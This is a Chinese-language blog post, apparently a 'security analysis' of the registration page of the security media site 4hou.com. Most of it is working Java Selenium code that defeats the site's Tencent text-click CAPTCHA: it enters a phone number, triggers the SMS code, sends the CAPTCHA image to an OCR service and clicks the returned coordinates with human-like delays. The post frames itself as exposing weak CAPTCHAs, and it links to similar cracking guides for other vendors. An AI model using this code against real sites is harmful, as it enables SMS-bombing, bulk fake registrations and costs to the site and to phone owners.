前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 嘶吼文化PC端注册入口
简介:嘶吼——中国网络安全行业综合服务平台
嘶吼传媒成立于2016年,深耕网络安全行业数年,以行业媒体属性快速聚合业界多领域资源,打造集“政企、厂商、技术、人才”于一体的网络安全产业生态格局。品牌旗下自有11+媒体矩阵,覆盖数字时代下多元媒体传播路径。近年来,嘶吼积极向产业咨询、行业研究等更深层业务领域突破转型,成立嘶吼安全产业研究院,凭借对行业的分析与洞察,已实现产业集聚性发展态势,为政企机构的安全决策提供了重要参考,并为网络安全产业转型升级注入动力。
二、 安全性分析报告:
采用腾讯的文字点选,容易被模拟器绕过甚至逆向后暴力攻击,文字点选识别率在 95% 以上。
三、 测试方法:
前端界面分析,这是腾讯v1版本,比较简单,网上有大量的文章参考, 我们采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分。
1. 模拟器交互部分
private static String INDEX_URL = "https://www.4hou.com/index.php/register";
@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
try {
RetEntity retEntity = new RetEntity();
driver.get(INDEX_URL);
// 输入手机号
WebElement phoneElemet = driver.findElement(By.xpath("//input[@placeholder='请输入手机号']"));
phoneElemet.sendKeys(phone);
// 点击获取验证码
WebElement sendElement = driver.findElement(By.id("send-code"));
sendElement.click();
Thread.sleep(500);
tencentClientClick.moveExec(driver, false, 790, 447);
Thread.sleep(2000);
String info = sendElement.getAttribute("value");
retEntity.setMsg(info);
if (info != null && info.contains("重新发送")) {
retEntity.setRet(0);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
driver.manage().deleteAllCookies();
}
}
public boolean moveExec(WebDriver driver, boolean isImage, Integer startX, Integer startY) {
WebElement iframe = null;
try {
// 获取到验证区域
iframe = ChromeDriverManager.waitElement(driver, By.id("tcaptcha_iframe_dy"), 100);
if (iframe == null) {
System.out.println("imageClick() tcaptcha_iframe|timeout!!!");
return false;
}
driver.switchTo().frame(iframe);
WebElement titleElement = ChromeDriverManager.waitElement(driver, By.id("instructionText"), 50);
String title = (titleElement != null) ? titleElement.getText() : null;
return myClick(driver, isImage, title, startX, startY);
} catch (Exception e) {
return false;
} finally {
if (iframe != null) {
close(driver);
// 切回主页面
driver.switchTo().defaultContent();
}
}
}
public boolean myClick(WebDriver driver, boolean isImage, String title, Integer startX, Integer startY) {
File bFile = null;
File tFile = null;
try {
String preFix = (isImage) ? "myClick.Image()" : "myClick.text()";
// 获取带阴影的背景图
WebElement wegClickElem = driver.findElement(By.id("slideBg"));
String cssValue = (wegClickElem != null) ? wegClickElem.getCssValue("background-image") : null;
String bgUrl = (cssValue != null && cssValue.contains("\"")) ? cssValue.split("\"")[1] : null;
if (bgUrl == null) {
System.out.println(preFix + " bgUrl=" + bgUrl);
return false;
}
if (title == null) {
System.out.println(preFix + " guideText=" + title);
return false;
}
Long time = System.currentTimeMillis();
bFile = new File(dataPath + time + "-b.png");
FileUtils.copyURLToFile(new URL(bgUrl), bFile);
byte[] bigBytes = FileUtils.readFileToByteArray(bFile);
String result;
String fujia = null;
if (isImage) {
WebElement iconElement = driver.findElement(By.className("tc-instruction-icon"));
WebElement titleElement = iconElement.findElement(By.tagName("img"));
String titleUrl = titleElement.getAttribute("src");
tFile = new File(dataPath + time + "-t.png");
FileUtils.copyURLToFile(new URL(titleUrl), tFile);
byte[] titleBytes = FileUtils.readFileToByteArray(tFile);
result = getJfbClick(titleBytes, bigBytes);
} else {
fujia = title.trim().substring(title.indexOf(":") + 1).replace(" ", "");
System.out.println(preFix + " fujia=" + fujia + " bigBytes=" + bigBytes.length);
result = ocrTest(Base64Encoder.encode(bigBytes), fujia);
}
System.out.println(preFix + " result=" + result);
String[] resultArr = (result != null && result.contains("|")) ? result.split("\\|") : null;
if (resultArr == null || resultArr.length < 1) {
System.out.println(preFix + " remote err result=" + result);
return false;
}
sleep(1000);
if (startX != null && startY != null) {
RobotMove.wordClickExec(startX, startY, 340 * 1.0 / 672, result);
RobotMove.click(startX + 310, startY + 270);
} else {
ActionMove.wordClickExec(driver, wegClickElem, 340 * 1.0 / 672, result);
WebElement confirmElement = driver.findElement(By.xpath("//div[@class='verify-btn-text' and contains(text(),'确定')]"));
confirmElement.click();
}
sleep(10);
// 获取结果
WebElement statusElement = null;
for (int i = 0; i < 20; i++) {
try {
statusElement = driver.findElement(By.id("statusSuccess"));
if (statusElement != null && statusElement.isDisplayed()) {
break;
}
} catch (org.openqa.selenium.NoSuchElementException | org.openqa.selenium.StaleElementReferenceException | org.openqa.selenium.ElementNotVisibleException ex) {
sleep(5);
}
}
String gtInfo = (statusElement != null) ? statusElement.getText() : null;
System.out.println(preFix + " gtInfo=" + gtInfo);
boolean verifyRet = (gtInfo != null && gtInfo.contains("验证成功"));
System.out.println(preFix + " gtInfo=" + gtInfo + "->verifyRet=" + verifyRet);
if (!verifyRet) {
WebElement errElement = ChromeDriverManager.waitElement(driver, By.id("statusError"), 1);
String errTxt = (errElement != null) ? errElement.getText() : null;
if (errTxt != null && !"".equals(errTxt)) {
System.out.println(preFix + "errTxt=" + errTxt);
}
return false;
}
String out = (isImage) ? dataPath + "tencent_image_click/" + time + ".jpg" : dataPath + "tencent_text_click/" + fujia + "/" + time + ".jpg";
ActionMove.writeResult(bigBytes, resultArr, out, time);
return true;
} catch (Throwable e) {
System.out.println(e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return false;
} finally {
driver.manage().deleteAllCookies();
if (bFile != null) {
bFile.delete();
}
}
}
2. 坐标识别
/*
* 调用本地机器学习模型库
*/
private String ocrTest(String base64, String question) {
String ocr32Url = PropertiesUtil.get("ocr32Url");
CloseableHttpClient httpclient = HttpClients.createDefault();
JSONObject obj = new JSONObject();
obj.put("img", base64);
obj.put("fujia", Base64Encoder.encode(question));
String result = BasePost.httpPost(httpclient, ocr32Url + "/ocr_both", null, obj);
System.out.println("ocrTest() ocr32Url=" + ocr32Url + ",question=" + question + " -> result=" + result);
return result;
}
3. 坐标点击算法
public static void wordClickExec(WebDriver driver, WebElement bigElement, Double r, String result) {
try {
String[] clickArray = (result != null && result.contains("|")) ? result.split("\\|") : null;
if (clickArray == null || clickArray.length < 1) {
System.out.println("wordClickExec() result=" + result + "->resultArr=" + clickArray);
return;
}
Actions actions = new Actions(driver);
Random random = new Random();
Actions moveToElement;
Double xOffset, yOffset;
int len = clickArray.length;
String group;
for (int i = 0; i < len; i++) {
group = clickArray[i];
String[] p = group.split(",");
xOffset = Integer.parseInt(p[0]) * r;
yOffset = Integer.parseInt(p[1]) * r;
System.out.print("wordClickExec() xOffset=" + xOffset + ",yOffset=" + yOffset);
moveToElement = actions.moveToElement(bigElement, xOffset.intValue(), yOffset.intValue());
moveToElement.click().perform();
if (i < (len - 1)) {
Thread.sleep(900 + random.nextInt(200));
System.out.println();
} else {
System.out.println("---finish()");
}
}
actions.release(bigElement).perform();
} catch (Exception e) {
}
}
public static void writeResult(byte[] bigBytes, String[] resultArr, String out, long time) throws IOException {
if (bigBytes == null || resultArr == null) {
System.out.println("writeResult() bigBytes=" + bigBytes + ",resultArr=" + resultArr);
return;
}
try {
ByteArrayInputStream bgObj = new ByteArrayInputStream(bigBytes);
BufferedImage bgBI = ImageIO.read(bgObj);
Graphics graphics = bgBI.getGraphics();
Integer xOffset, yOffset;
int sn = 1;
int width = 60;
int height = 60;
StringBuffer sbLog = new StringBuffer();
for (int i = 0; i < resultArr.length; i++) {
String[] p = resultArr[i].split(",");
xOffset = Integer.parseInt(p[0]);
yOffset = Integer.parseInt(p[1]);
sbLog.append(i + ":[" + xOffset + "," + yOffset + "]");
if (sbLog.length() > 0) {
sbLog.append(",");
}
// 标记顺序
graphics.setColor(Color.RED);
graphics.setFont(new Font("黑体", Font.BOLD, 40));
graphics.drawString(sn + "", xOffset - 12, yOffset + 15);
// 画圈
graphics.setColor(Color.GREEN);
graphics.drawArc(xOffset - width / 2, yOffset - height / 2, width, height, 0, 360);
sn++;
}
System.out.println("writeResult() " + sbLog.toString());
File destFile = new File(out);
FileUtils.writeByteArrayToFile(destFile, bigBytes);
Thumbnails.of(bgBI).scale(1f).toFile(destFile);
} catch (Throwable e) {
StringBuffer sb = new StringBuffer();
sb.append("writeResult() " + e.toString() + "\n");
for (StackTraceElement elment : e.getStackTrace()) {
sb.append(elment.toString() + "\n");
}
System.out.println(sb.toString());
}
}
4. 匹配测试样例:
四丶结语
嘶吼——中国网络安全行业综合服务平台,嘶吼传媒成立于2016年,深耕网络安全行业数年,以行业媒体属性快速聚合业界多领域资源,打造集“政企、厂商、技术、人才”于一体的网络安全产业生态格局。品牌旗下自有11+媒体矩阵,覆盖数字时代下多元媒体传播路径。近年来,嘶吼积极向产业咨询、行业研究等更深层业务领域突破转型,成立嘶吼安全产业研究院,凭借对行业的分析与洞察,已实现产业集聚性发展态势,为政企机构的安全决策提供了重要参考,并为网络安全产业转型升级注入动力。作为知名媒体,拥有雄厚的安全技术实力,但身份验证产品才用的是通俗的第三方产品,正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证文字点选用户体验差,并且依赖存在被破解安全隐患。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》